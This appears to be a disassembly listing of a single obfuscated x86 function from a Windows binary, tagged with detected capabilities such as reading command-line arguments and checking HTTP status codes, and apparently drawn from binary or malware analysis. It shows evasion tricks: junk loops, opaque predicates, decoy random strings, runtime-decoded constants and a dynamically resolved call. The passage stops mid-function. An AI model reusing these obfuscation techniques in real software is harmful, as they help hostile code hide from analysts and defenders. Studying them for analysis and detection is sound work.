Function at 0x10012a9e
Capabilities:
Accept command line arguments
Check http status code
Get common file path

Disassembly:
mov eax, 0x100598e4
call fcn.10058c78
sub esp, 0x55c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x23c], edx
mov dword [ebp - 0x180], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x20], 0xa6847dfa
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], bl
je 0x10012add
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_UnionRect]
push 0x48b3
push ecx
push 1
push 0x3199
push 0x771f
push ecx
mov byte [ebp - 0x47], bl
lea edx, [ebp - 0x47]
mov ecx, 0x16bc
call fcn.10011de4
add esp, 0x18
mov dword [ebp - 0x170], ebx
mov dword [ebp - 0x16c], ebx
mov dword [ebp - 0x168], ebx
mov byte [ebp - 4], 1
mov dword [ebp - 0x18], 0x5f76
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], ebx
jmp 0x10012b36
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x40], 0x38a1f949
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10012b28
mov dword [ebp - 0x14], ebx
jmp 0x10012b4e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x190], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10012b41
push 0x3773
push ecx
push 1
push 0x5bbb
call fcn.10011f19
mov eax, dword [ebp - 0x190]
xor edx, edx
mov eax, dword [ebp - 0x188]
add esp, 0x10
mov eax, dword [ebp - 0x184]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x188]
cmp ecx, eax
setl dl
xor eax, eax
cmp edx, 5
setge al
xor ecx, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x184]
cmp dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x40]
setle cl
xor edx, edx
cmp ecx, eax
setg dl
inc dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18c]
cmp dword [ebp - 0x1c], ebx
je 0x10012bde
cmp dword [ebp - 0x40], ebx
je 0x10012bde
xor ecx, ecx
inc ecx
jmp 0x10012be0
mov ecx, ebx
mov eax, dword [ebp - 0x40]
sub ecx, eax
inc ecx
jne 0x10012beb
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18c]
xor edx, edx
test eax, eax
mov eax, dword [ebp - 0x18c]
push 9
sets dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x40]
setle cl
xor edx, edx
imul ecx, ecx, 0xfff8
add ecx, eax
mov eax, dword [ebp - 0x40]
cmp eax, ecx
mov dword [ebp - 0x98], 0x7071103
pop eax
push 0x68
mov byte [ebp - 0x91], al
setle dl
mov byte [ebp - 0x8e], al
mov ecx, ebx
pop eax
push 2
mov dword [ebp - 0x18c], edx
mov word [ebp - 0x94], 0xa04
mov byte [ebp - 0x92], 0xc
mov word [ebp - 0x90], 0x9001
mov dword [ebp - 0x8d], 0x61b0b18
mov dword [ebp - 0x89], 0x2d082c
mov dword [ebp - 0x85], 0x26e052d
mov dword [ebp - 0x81], 0xa02014e
mov byte [ebp - 0x7d], 0x13
mov word [ebp - 0x372], ax
pop esi
mov dword [ebp - 0x140], ecx
cmp esi, 8
jne 0x10012ca3
push 2
pop ecx
mov dword [ebp - 0x140], ecx
jmp 0x10012cf6
movzx edx, byte [ebp + esi - 0x97]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x9a]
movzx ecx, word [ebp + eax*2 - 0x378]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x98]
add ecx, edx
lea edx, [ebp - 0x140]
push ecx
push ebx
push ecx
mov word [ebp + eax*2 - 0x378], cx
push ecx
mov ecx, 0x4bae
call fcn.100121ac
mov ecx, dword [ebp - 0x140]
add esp, 0x10
add esi, 2
cmp esi, 0x1c
jb 0x10012c93
xor eax, eax
sub esp, 0x14
mov word [ebp - 0x35e], ax
xor dl, dl
mov dword [ebp - 0x248], 1
mov dword [ebp - 0x208], 0x23d4a1cf
mov dword [ebp - 0x238], 0x736d0c11
mov dword [ebp - 0x24c], ebx
call fcn.10011a7e
add esp, 0x14
lea eax, [ebp - 0x238]
mov edx, 0x2594
push eax
push ecx
push ebx
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x208]
push eax
push ecx
lea ecx, [ebp - 0x248]
call fcn.10011de4
add esp, 0x18
mov dword [ebp - 0x7c], 0x4c02ec04
mov dword [ebp - 0x78], 0x6074e03
mov ecx, ebx
mov dword [ebp - 0x74], 0xe7030605
mov dword [ebp - 0x70], 0xd008ae1
push 0x61
pop eax
push 2
mov dword [ebp - 0x6c], 0x7060101
mov word [ebp - 0x26c], ax
pop esi
cmp esi, 0xa
jne 0x10012da2
push 4
pop ecx
push 0xc
pop esi
jmp 0x10012dd1
movzx edx, byte [ebp + esi - 0x7b]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x7e]
movzx ecx, word [ebp + eax*2 - 0x274]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x7c]
add ecx, edx
mov word [ebp + eax*2 - 0x274], cx
mov ecx, ebx
add esi, 2
cmp esi, 0x14
jb 0x10012d95
xor eax, eax
mov dword [ebp - 0x34c], ebx
push 7
mov word [ebp - 0x264], ax
lea ecx, [ebp - 0x35c]
pop esi
mov word [ebp - 0x35c], ax
lea eax, [ebp - 0x274]
push eax
mov dword [ebp - 0x348], esi
call fcn.10009d6f
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x340]
xor eax, eax
mov dword [ebp - 0x32c], esi
mov word [ebp - 0x340], ax
lea eax, [ebp - 0x378]
push eax
mov dword [ebp - 0x330], ebx
call fcn.10009d6f
lea eax, [ebp - 0x340]
push eax
lea ecx, [ebp - 0x408]
call fcn.10001c87
lea eax, [ebp - 0x35c]
push eax
lea ecx, [ebp - 0x3f0]
call fcn.10001c87
push ebx
push 1
lea ecx, [ebp - 0x340]
call fcn.10001734
push ebx
push 1
lea ecx, [ebp - 0x35c]
call fcn.10001734
mov byte [ebp - 4], 3
lea eax, [ebp - 0x3d8]
push dword [ebp - 0x198]
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x164], ebx
push eax
lea eax, [ebp - 0x408]
mov dword [ebp - 0x160], ebx
push eax
push ebx
mov dword [ebp - 0x15c], ebx
call fcn.10014e6b
push fcn.100146d0
push 1
push 0x30
lea eax, [ebp - 0x408]
mov byte [ebp - 4], 5
push eax
call fcn.10041c1b
mov dword [ebp - 0x24], ebx
lea ecx, [ebp - 0x1d4]
mov dword [ebp - 0x34], 0xffffffff
xor eax, eax
inc eax
mov dword [ebp - 0x1c], 0x6e3e45bb
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x1d8], eax
push 2
call fcn.1000995a
mov byte [ebp - 4], 6
mov eax, 0x8886a6c6
mov dword [ebp - 0x18], 0x1b0cadfb
mov dword [ebp - 0x1fc], eax
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 0x1f0], eax
lea eax, [ebp - 0x308]
push eax
push 0x2cf3
push ecx
push 1
lea edx, [ebp - 0x1d4]
mov ecx, 0x4813
call fcn.10011f5f
mov eax, dword [ebp - 0x24]
add esp, 0x10
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
je 0x10012f92
cmp dword [ebp - 0x24], 1
jge 0x10012f69
cmp dword [ebp - 0x1c], ebx
jne 0x10012f69
cmp dword [ebp - 0x24], ebx
jne 0x10012f69
mov eax, ebx
jmp 0x10012f6c
xor eax, eax
inc eax
cmp eax, dword [ebp - 0x1c]
jg 0x10012f7a
cmp dword [ebp - 0x1c], ebx
jne 0x10012f7a
mov eax, ebx
jmp 0x10012f7d
xor eax, eax
inc eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1dc], eax
test eax, eax
je 0x10012f92
xor ecx, ecx
inc ecx
jmp 0x10012f94
mov ecx, ebx
mov eax, dword [ebp - 0x1d4]
mov dword [eax], ecx
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x1c]
jge 0x10012fb4
cmp dword [ebp - 0x1f4], ebx
je 0x10012fb4
xor ecx, ecx
inc ecx
jmp 0x10012fb6
mov ecx, ebx
mov eax, dword [ebp - 0x1fc]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
sete dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x24]
cmp eax, edx
setl cl
mov dword [ebp - 0x1f0], ecx
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 0xffffffe8
jg 0x100133da
mov dword [ebp - 0x30], 0x63a5
cmp dword [ebp - 0x30], 0x66dc
jle 0x10013085
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov ecx, ebx
mov dword [ebp - 0x24], ebx
cdq
mov esi, ebx
idiv ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x20], edx
mov ecx, esi
mov edi, ebx
mov esi, edx
sar esi, cl
mov ecx, edi
mov eax, esi
shl eax, cl
lea ecx, [ebp - 0x420]
cdq
push edx
push eax
call fcn.10001335
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10013034
mov eax, dword [eax]
push eax
call fcn.100420be
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x420]
call fcn.100015c8
inc edi
cmp edi, 0x3c7
jl 0x10013016
mov esi, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
inc esi
mov dword [ebp - 0x14], esi
cmp esi, 0x4d31
jl 0x1001300e
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x48c3
jl 0x10013003
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x6b91
jl 0x10012ffe
mov dword [ebp - 0x14], 0x26cdee94
cmp dword [ebp - 0x30], 0x6255
jge 0x100130a0
push str.qmeyrtq_fhaonwih_aksxfuuj
call fcn.100420be
pop ecx
mov dword [ebp - 4], 6
mov dword [ebp - 0x14], 0x54ac
cmp dword [ebp - 0x14], 0x5864
jle 0x10013107
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x30], 0x1e29
mov eax, edi
lea ecx, [ebp - 0x468]
cdq
push edx
push eax
call fcn.10001335
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100130dc
mov eax, dword [eax]
push eax
call fcn.100420be
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x468]
call fcn.100015c8
add edi, esi
dec dword [ebp - 0x30]
jne 0x100130c2
inc esi
cmp esi, 0x45ff
jl 0x100130b9
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 0x1c], 0x78317d23
cmp dword [ebp - 0x14], 0x52d1
jge 0x10013122
push str.asaqw_cgptpaden_irjdsyjj
call fcn.100420be
pop ecx
mov dword [ebp - 4], 6
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 1
jg 0x100133d2
mov dword [ebp - 0x20], 7
lea ecx, [ebp - 0x260]
push 2
call fcn.1000995a
lea eax, [ebp - 0x260]
mov byte [ebp - 4], 0xb
push eax
push ecx
push ebx
lea edx, [ebp - 0x300]
call fcn.10012428
mov dword [ebp - 0x14], 0x731e7bf5
add esp, 0xc
cmp dword [ebp - 0x14], ebx
je 0x1001321a
push ecx
push ebx
push ecx
lea edx, [ebp - 0x34]
mov ecx, 0x1be3
call fcn.100125b2
add esp, 0xc
mov eax, dword [ebp - 0x24]
xor edx, edx
mov edi, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x1dc]
mov esi, dword [ebp - 0x1d4]
cmp dword [esi + ecx*4], eax
setge dl
xor eax, eax
test edx, edx
mov edx, dword [ebp - 0x20]
setle al
xor ecx, ecx
cmp dword [esi + edi*4], eax
setge cl
xor eax, eax
cmp dword [esi + edx*4], ecx
sete al
xor edx, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1d4]
cmp dword [eax + ecx*4], ebx
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x260]
setne cl
mov dword [ebp - 0x20], ecx
mov dword [eax], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x20], eax
setg cl
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x260]
mov byte [ebp - 4], 6
call fcn.100099dd
inc dword [ebp - 0x24]
jmp 0x1001312c
mov dword [ebp - 0x68], 0xffffffff
mov dword [ebp - 0x20], 0xc458af32
mov dword [ebp - 0x34], 3
cmp dword [ebp - 0x34], ebx
jl 0x10013188
mov dword [ebp - 0x30], 0x42c8
mov dword [ebp - 0x30], 0x78c76445
mov dword [ebp - 0x14], ebx
jmp 0x100132c1
mov dword [ebp - 0x1c], 0xd9de360a
mov eax, dword [ebp - 0x14]
push ebx
push 0x6ab3
mov eax, dword [ebp + eax*4 - 0x1e4]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1d4]
imul edx, dword [eax + ecx*4]
mov eax, dword [ebp - 0x1c]
dec eax
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, edx
mov eax, dword [ebp - 0x14]
setge cl
sub ecx, 0xb826fbc
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
sub ecx, dword [ebp + eax*4 - 0x1fc]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x20], ecx
mov ecx, 0x3866
call fcn.10012a49
inc dword [ebp - 0x14]
pop ecx
pop ecx
cmp dword [ebp - 0x14], 1
jle 0x1001324b
mov dword [ebp - 0x1c], 0x19
cmp dword [ebp - 0x1c], 0x18
jle 0x100133ca
mov dword [ebp - 0x30], 0x8dd
mov eax, dword [ebp - 0x68]
sub eax, 0x3bea
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x14]
cmp eax, 0xffffffff
setne cl
xor eax, eax
cmp ecx, 0xb34d
mov ecx, dword [ebp - 0x68]
setne al
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x1dc], ecx
mov byte [ebp - 0x44], bl
mov dword [ebp - 0x20], 0xb3e
cmp dword [ebp - 0x20], 0xc68
jle 0x10013372
push 0xd76
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov esi, ebx
mov edi, esi
mov dword [ebp - 0x54], 0x793d
mov eax, edi
mov ebx, 0x1dfc
mov dword [ebp - 0x30], eax
cdq
mov ecx, 0x10074f78
push edx
push eax
call fcn.10009792
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
dec ebx
jne 0x1001334c
dec edi
dec dword [ebp - 0x54]
jne 0x10013342
inc esi
cmp esi, 0x43fc
jl 0x10013339
push 1
push ecx
lea eax, [ebp - 0x44]
push eax
call fcn.10011f92
add esp, 0xc
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x20], 0x84a
jge 0x100133bb
mov edx, str.jbxuylmq_bpy_jahcchr_imthhhgdz_skfvxoga_hweelnz_ski_xhdq_pdcosf
mov ecx, 0x10074f78
call fcn.1000cd04
jmp 0x100133bb
mov dword [ebp - 4], 0xb
dec dword [ebp - 0x1c]
jmp 0x100132ce
dec dword [ebp - 0x34]
jmp 0x1001322f
dec dword [ebp - 0x18]
jmp 0x10012fdb
lea ecx, [ebp - 0x1d4]
mov byte [ebp - 4], 5
call fcn.100099dd
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x378]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x20], 0x6951ad38
lea ecx, [ebp - 0x2fc]
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x20], 0xc6e5c7a0
push 1
call fcn.1000995a
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x20], 0xd1b9849b
mov dword [ebp - 0x218], ebx
mov dword [ebp - 0x50], ebx
jmp 0x1001343b
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x1e8], 0xc0ae9714
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 1
jl 0x1001342a
lea eax, [ebp - 0x50]
xor dl, dl
push eax
lea eax, [ebp - 0x2fc]
mov cl, 1
push eax
push 1
push 0x7014
push 0x4b35
call fcn.10011ae1
add esp, 0x10
mov edx, 0x96b
push 1
push ecx
push ecx
lea ecx, [ebp - 0x218]
call fcn.100121ac
add esp, 0x10
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x2fc]
call fcn.100099dd
push dword [ebp - 0x1e8]
xor eax, eax
movdqa xmm0, xmmword [0x10067980]
lea edi, [ebp - 0x274]
mov dword [ebp - 0x214], ebx
stosd dword es:[edi], eax
lea ecx, [ebp - 0x214]
movdqu xmmword [ebp - 0x398], xmm0
mov dword [ebp - 0x210], ebx
mov dword [ebp - 0x20c], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x388]
push eax
lea eax, [ebp - 0x398]
push eax
push ebx
call fcn.1000d669
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x2d4]
mov dword [ebp - 0x250], 1
push 2
call fcn.1000995a
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x298]
push 4
mov dword [ebp - 0x228], 3
call fcn.1000995a
push ecx
push 0x1245
push ebx
push ecx
lea eax, [ebp - 0x240]
mov byte [ebp - 4], 0x11
push eax
push ecx
push 0x4ddf
lea edx, [ebp - 0x2d4]
call fcn.10011d93
add esp, 0x1c
lea eax, [ebp - 0x240]
push eax
push ecx
lea eax, [ebp - 0x298]
push ebx
push eax
call fcn.10011f19
pop ecx
pop ecx
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x2d4]
push eax
lea eax, [ebp - 0x214]
push eax
push ebx
lea eax, [ebp - 0x250]
mov edx, 0x65c1
push 0x445f
push eax
lea ecx, [ebp - 0x298]
call fcn.10012302
add esp, 0x20
lea ecx, [ebp - 0x298]
call fcn.100099dd
lea ecx, [ebp - 0x2d4]
call fcn.100099dd
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 5
call fcn.100099dd
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x164]
call fcn.10012709
mov dword [ebp - 0x24], 0xa48bbca6
mov dword [ebp - 0x194], 1
pop ecx
mov dword [ebp - 0x24], 0xf
jmp 0x10013691
mov dword [ebp - 0x14], 0x47dc4b4e
mov dword [ebp - 0x14], 0x10
jmp 0x10013631
mov dword [ebp - 0x18], ebx
jmp 0x100135fb
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x224], 8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x100135ea
mov dword [ebp - 0x21c], ebx
jmp 0x10013625
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], 0
je 0x1001361f
sub esp, 0x14
mov dl, 1
call fcn.10011a7e
add esp, 0x14
inc dword [ebp - 0x21c]
cmp dword [ebp - 0x21c], 0x18
jge 0x10013609
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xc
jge 0x100135e5
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jne 0x1001364b
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jg 0x1001364b
mov ecx, ebx
jmp 0x1001364e
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x24]
xor edx, edx
add eax, ecx
cmp eax, 0x5fff
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xffff
setge cl
cmp eax, ecx
mov eax, dword [ebp - 0x14]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setle dl
imul eax, dword [ebp - 0x24]
sub eax, edx
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x194], eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffee
jge 0x100135d5
lea eax, [ebp - 0x194]
mov edx, 0x4c2
push eax
push ebx
push ecx
call fcn.10012401
add esp, 0xc
push ebx
push 0x3de0
push 0x2458
call fcn.100251e1
pop ecx
pop ecx
call eax
push ebx
push ecx
mov edx, 0x4364
lea ecx, [ebp - 0x328]
call fcn.10012a77
add esp, 4
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x20], 0xe48d327c
lea edx, [ebp - 0x41]
mov byte [ebp - 0x41], bl
push ebx
call fcn.10011b82
pop ecx
pop ecx
push 0x1841
push ecx
push 1
mov edx, 0x4438
call fcn.10012428
add esp, 0xc
mov dword [ebp - 0x138], 0xf1f9007
mov ecx, ebx
mov word [ebp - 0x134], 0x7308
mov dword [ebp - 0x131], 0xf6e1b69
mov dword [ebp - 0x12d], 0x14080d72
push 9
pop eax
push 0x38
mov byte [ebp - 0x132], al
mov byte [ebp - 0x11b], al
pop eax
push 2
mov dword [ebp - 0x129], 0x4dc0100
mov dword [ebp - 0x125], 0x116e0e7a
mov dword [ebp - 0x121], 0x6701769
mov word [ebp - 0x11d], 0x2204
mov dword [ebp - 0x11a], 0x72160a0b
mov dword [ebp - 0x116], 0x7c027903
mov dword [ebp - 0x112], 0x20a7221
mov dword [ebp - 0x10e], 0x4a000510
mov dword [ebp - 0x10a], 0xc4f1d
mov dword [ebp - 0x106], 0x824041a
mov dword [ebp - 0x102], 0x14180120
mov dword [ebp - 0xfe], 0x3016b1e
mov dword [ebp - 0xfa], 0x4c257415
mov dword [ebp - 0xf6], 0x3054f12
mov dword [ebp - 0xf2], 0x7523011c
mov dword [ebp - 0xee], 0x1d196813
mov word [ebp - 0x512], ax
pop esi
mov dword [ebp - 0x148], ecx
cmp esi, 0x10
jne 0x10013801
push 2
pop ecx
mov dword [ebp - 0x148], ecx
jmp 0x1001386b
movzx edx, byte [ebp + esi - 0x137]
mov eax, esi
sub eax, ecx
push 0x77fc
push 1
push 1
movzx eax, byte [ebp + eax - 0x13a]
movzx ecx, word [ebp + eax*2 - 0x520]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x138]
add ecx, edx
mov edx, 0x7164
mov word [ebp + eax*2 - 0x520], cx
lea eax, [ebp - 0x148]
push eax
push 0x4a0c
push 0x707e
push 1
mov ecx, 0x6c92
call fcn.10011fd7
mov ecx, dword [ebp - 0x148]
add esp, 0x1c
add esi, 2
cmp esi, 0x4e
jb 0x100137f1
xor eax, eax
mov dword [ebp - 0x2d8], 7
mov word [ebp - 0x4d4], ax
lea ecx, [ebp - 0x2ec]
mov word [ebp - 0x2ec], ax
lea eax, [ebp - 0x520]
push eax
mov dword [ebp - 0x2dc], ebx
call fcn.10009d6f
mov byte [ebp - 4], 0x12
lea edi, [ebp - 0x520]
push 0x13
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x28], 0x82062403
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0xb2f67ab6
mov dword [ebp - 0x18], ebx
jmp 0x100138e3
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2f0], 0xbf0a6441
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x100138d2
mov dword [ebp - 0x28], ebx
jmp 0x100138f9
push 1
call fcn.100126c2
inc dword [ebp - 0x28]
pop ecx
cmp dword [ebp - 0x28], 0x11
jg 0x100138ee
mov dword [ebp - 0x1c], 0xb590
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setge dl
imul edx, dword [ebp - 0x28]
test edx, edx
jne 0x1001391e
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
add eax, 0x796a0b59
jne 0x1001392b
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
imul ecx, eax
cmp ecx, dword [ebp - 0x28]
jne 0x1001394c
cmp dword [ebp - 0x28], ebx
je 0x1001394c
xor eax, eax
inc eax
jmp 0x1001394e
mov eax, ebx
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setge dl
xor ecx, ecx
cmp eax, 2
setg cl
imul ecx, edx
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], ebx
je 0x100139a5
lea eax, [ebp - 0x28]
mov dword [ebp - 0x200], 1
push eax
push 0x1451
lea eax, [ebp - 0x200]
mov edx, 0x511
push eax
push ecx
push ebx
call fcn.10012758
add esp, 0x14
jmp 0x100139ca
mov dword [ebp - 0x1c], ebx
jmp 0x100139c4
push 1
lea eax, [ebp - 0x28]
mov edx, 0x4909
push 1
push eax
mov cl, 1
call fcn.100120b8
add esp, 0xc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x15
jle 0x100139aa
push 4
lea ecx, [ebp - 0x28c]
call fcn.1000995a
push ecx
push ecx
push 0x4532
xor eax, eax
mov byte [ebp - 4], 0x13
inc eax
lea edx, [ebp - 0x304]
push 0x270
push 0x6bca
mov dword [ebp - 0x1c], eax
mov ecx, 0x729f
push eax
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x28c]
push eax
push 0x71c9
call fcn.10012302
add esp, 0x20
mov dword [ebp - 0x1c], ebx
push 3
pop edx
jmp 0x10013a82
mov dword [ebp - 0x24], 0x1bd97a88
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x24], ebx
jl 0x10013a7f
xor eax, eax
lea edx, [ebp - 0x45]
inc eax
push 0x1912
push eax
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x45], bl
push ecx
call fcn.10012401
add esp, 0xc
mov dword [ebp - 0x18], ebx
push 3
pop edx
jmp 0x10013a75
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], ebx
jl 0x10013a72
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28c]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x20], eax
dec dword [ebp - 0x14]
jns 0x10013a5e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jle 0x10013a4f
dec dword [ebp - 0x24]
jns 0x10013a2c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jle 0x10013a1d
lea ecx, [ebp - 0x28c]
mov byte [ebp - 4], 0x12
call fcn.100099dd
mov dword [ebp - 0x1c], 0xf6af1124
mov dword [ebp - 0x1c], 0xffffffea
jmp 0x10013bcb
push 4
lea ecx, [ebp - 0x314]
call fcn.1000995a
push 0x4bd6
push 1
push 1
push 0x4930
push 0x4ed6
push 0x3387
mov byte [ebp - 4], 0x14
lea edx, [ebp - 0x314]
mov dword [ebp - 0x14], 0xfffffff8
lea ecx, [ebp - 0x174]
push ebx
call fcn.10011fd7
mov dword [ebp - 0x14], 3
add esp, 0x1c
cmp dword [ebp - 0x14], ebx
jl 0x10013b96
push 1
lea ecx, [ebp - 0x2a4]
call fcn.1000995a
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x18], ebx
jmp 0x10013b27
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2a4]
mov dword [eax + ecx*4], 0x29ea4144
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x10013b14
push ecx
push 0x49dc
sub esp, 0xc
mov byte [ebp - 0x43], bl
lea eax, [ebp - 0x43]
push ebx
push eax
call fcn.10012840
mov esi, dword [ebp - 0x2a4]
add esp, 0x1c
mov dword [esi], 3
push ecx
push 1
push ecx
mov edx, 0x1f79
mov byte [ebp - 0x42], bl
lea ecx, [ebp - 0x42]
call fcn.100125b2
add esp, 0xc
mov edx, 0x3606
push 1
push ecx
push ecx
call fcn.100125e4
add esp, 0xc
dec dword [esi]
jns 0x10013b52
lea ecx, [ebp - 0x2a4]
mov byte [ebp - 4], 0x14
call fcn.100099dd
dec dword [ebp - 0x14]
jns 0x10013afe
push 1
push ecx
push 0x3363
push ecx
push ecx
lea eax, [ebp - 0x46]
mov byte [ebp - 0x46], bl
push eax
mov edx, 0x2505
mov ecx, 0x41c4
call fcn.10012a1b
add esp, 0x18
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x314]
call fcn.100099dd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10013aa9
push 0xb
pop eax
push 0x42
mov byte [ebp - 0xbf], al
